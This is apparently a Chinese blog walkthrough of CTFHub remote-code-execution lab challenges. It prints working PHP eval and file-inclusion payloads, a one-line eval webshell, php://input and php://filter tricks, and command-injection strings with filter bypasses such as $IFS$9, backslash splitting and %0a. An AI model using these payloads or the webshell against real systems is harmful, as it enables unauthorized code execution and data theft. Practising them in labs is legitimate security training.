1. 程式人生 > 實用技巧 >CTFHub RCE解析

CTFHub RCE解析

昨天大致學了一下命令執行,那我們今天開始實戰。在CTFHu裡練習一下

1.eval執行

我們先做一下eval執行吧。看見上面是一段php程式碼,如下:

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 
//eval函式可以把字串當作php程式碼執行
//$_RREQUEST可以獲得post或者get上傳的引數

先瀏覽一下目錄,看看有沒有沒關於flag的檔案,這樣我們就可以構造pyload

?cmd=system("ls ../../../");  //system()函式執行外部程式,並且顯示輸出

發現了flag_25103檔案,那我們看看裡的資料,構造pyload:

?cmd=system("cat ../../../flag_25103");

獲得flag

2.檔案包含

下面是檔案包含,來看一下里面的程式碼

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
//i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?

//strpos()函式查詢字串在另一字串中第一次出現的位置。
說是如果傳給file的引數裡包含"flag"的話就輸出Hacker!!!,如果沒有的話把file裡的引數當作php程式碼執行

看看下面還說了有一個shell.txt,how to use it 。shell裡面有一句話木馬<?php eval($_REQUEST['ctfhub']);?>,

那我們把這個一句話木馬傳給file變數。

pyload:?file=shell.txt //上傳一句話木馬

上傳之後,我們就可以進行操作了,還是先找一下有沒有關於flag的檔案,然後我們再獲取裡面的資料

ctfhub=system('ls ../../../');//查詢目錄

ctfhub=system('cat ../../../flag');//獲取資料

獲得flag

3.php://input

我們先來了解一下Php://input。

php://input是可以訪問請求的原始資料的只讀流。就是說可以執行post請求的內容。它是一種偽協議。

而要使用這個偽協議有兩個條件:1.allow_url_include是On;2.POST請求

好,我們來看程式碼

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
//i don't have shell, how to get flag? 

這次它有沒shell了。那我們從其他方面看看,上面程式碼說如果傳給file的值開頭不是php://就輸出Hacker!!!,如果是的話那就執行include函式。

題目php://input,我們從這方面入手,使用php://input

構造pyload

?file=php://input

然後我們抓一下包

應該是成功了,然後我們傳送post請求,構造pyload

一樣,找到flag檔案,獲取資料

3.遠端包含

此題與上題方法一樣,不再做過多解釋,一樣是使用php://input

4.讀取原始碼

我們先說一下php://filter,這個也是偽協議的一種。是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。下面是一些引數

我們還看一下原始碼

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

這次它直接告訴了你flag在哪裡了。那下一步我們直接讀取就行了。利用php://filter構造pyload

?filte=php://filter/read=convert.base64-encode/resource=/flag
//以base64編碼顯示

得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然後再解碼即可

5.命令注入

這告訴我們什麼都沒過濾,那就直接幹吧

先來

127.0.0.0|ls //檢視目錄

第一個php檔案有點可疑,那我們先搞搞它吧,

127.0.0.1|cat 150962426819160.php

啥都沒有,那檢視原始碼

6.過濾cat

這次是過濾了cat,不過,不用擔心,還是很簡單的

我們可以進行繞過,而這樣的方法有很多種,在這裡我使用了反斜槓,

我們先來把flag檔案找到

127.0.0.1|ls

然後獲取資料

127.0.0.1|c\at flag_39251349022334.php

得到flag

7.過濾空格

關於過濾空格呢,也是可以繞過的

我們可以使用以下方法進行繞過

<
<>
${IFS}
$IFS$9
%09
{cat,flag}
%20

然後其他操作與以上是一樣的

127.0.0.1|ls

然後進行繞過

127.0.0.1|cat$IFS$9flag_271841403229806.php

獲得flag

8.過濾目錄分隔符

這個是過濾了目錄分隔符“/”

首先我們先還是老樣子

127.0.0.1|ls

127.0.0.1|cd flag_is_here;ls 

然後我們再用

127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //轉到flag_is_there裡面,並獲取裡面的資料

得到flag

9.過濾運算子

這個過濾了運算子|、||、&、&&。可是還有一個;運算子。可以利用它進行注入,用法與|一樣,這裡不再進行過多解釋

10.綜合過濾練習

看樣子是將之前的過濾綜合到了一起。

那我們開始了,先檢視目錄

?ip=127.0.0.1%0als

若所有運算子都被過濾,那我們可以使用%0a來代替

然後進一步檢視flag_is_here

?ip=127.0.0.1%0Als$IFS$9f\lag_is_here

然後獲取資料

?ip=127.0.0.1%0Acd$IFS$9f\lag_is_here%0Ac\at$IFS$9fla\g_272101055320691.php

成功!!!